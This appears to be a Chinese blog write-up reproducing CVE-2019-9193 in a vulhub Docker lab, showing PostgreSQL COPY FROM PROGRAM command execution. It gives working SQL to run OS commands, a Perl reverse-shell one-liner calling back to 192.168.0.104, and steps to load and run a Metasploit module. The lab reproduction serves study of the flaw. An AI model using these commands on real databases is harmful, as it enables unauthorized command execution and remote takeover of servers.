无意中看到这个漏洞 也看到这个漏洞的分析文章 看不懂原理 跟着复现
PostgreSQL,俗称Postgres,是世界上最受欢迎的数据库系统之一。它是Mac OSX系统的主力数据库,同时也有Linux和Windows版本。
CVE-2019-9193),它能使某些数据库用户利用Postgres实现任意代码执行。这个漏洞几乎影响了PostgreSQL的所有版本(从9.3到最新的11.2),同时也影响了所有的操作系统:Windows,Linux和Mac。
从9.3版本开始,Postgres新增了一个COPY TO/FROM PROGRAM
功能,允许数据库的超级用户以及pg_read_server_files
组中的任何用户执行操作系统命令
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY FROM PROGRAM
功能运行系统命令COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
需要注意的是原本命令中的任何单引号都必须转换为双引号才能正常生效 ## 漏洞复现
https://github.com/vulhub/vulhub/tree/master/postgres/CVE-2019-9193
然后
docker-compose up -d
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
COPY files FROM PROGRAM 'perl -MIO -e "$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;"';
可以直接使用msf的模块进行攻击
地址如下:
https://github.com/Greenwolf/postgres_cmd_execution_nine_three
不过这里得说明一下,使用这个模块是需要会一点基础的ruby知识,代码里面是有彩蛋的,我也踩了点坑。我想,应该是代码作者有意而为之,不能让别有用心的人直接拿过来用吧。具体是什么的就不说了,自行测试,哈哈。
利用步骤:
postgres_cmd_execution_nine_three.rb
修改完毕之后,将文件拷贝到/usr/share/metasploit-framework/modules/exploits/multi/postgres/postgres_cmd_execution_nine_three.rb
路径中去
然后在msfconsole中reload_all
use exploits/multi/postgres/postgres_cmd_execution_nine_three
exploit
## 参考文章
https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5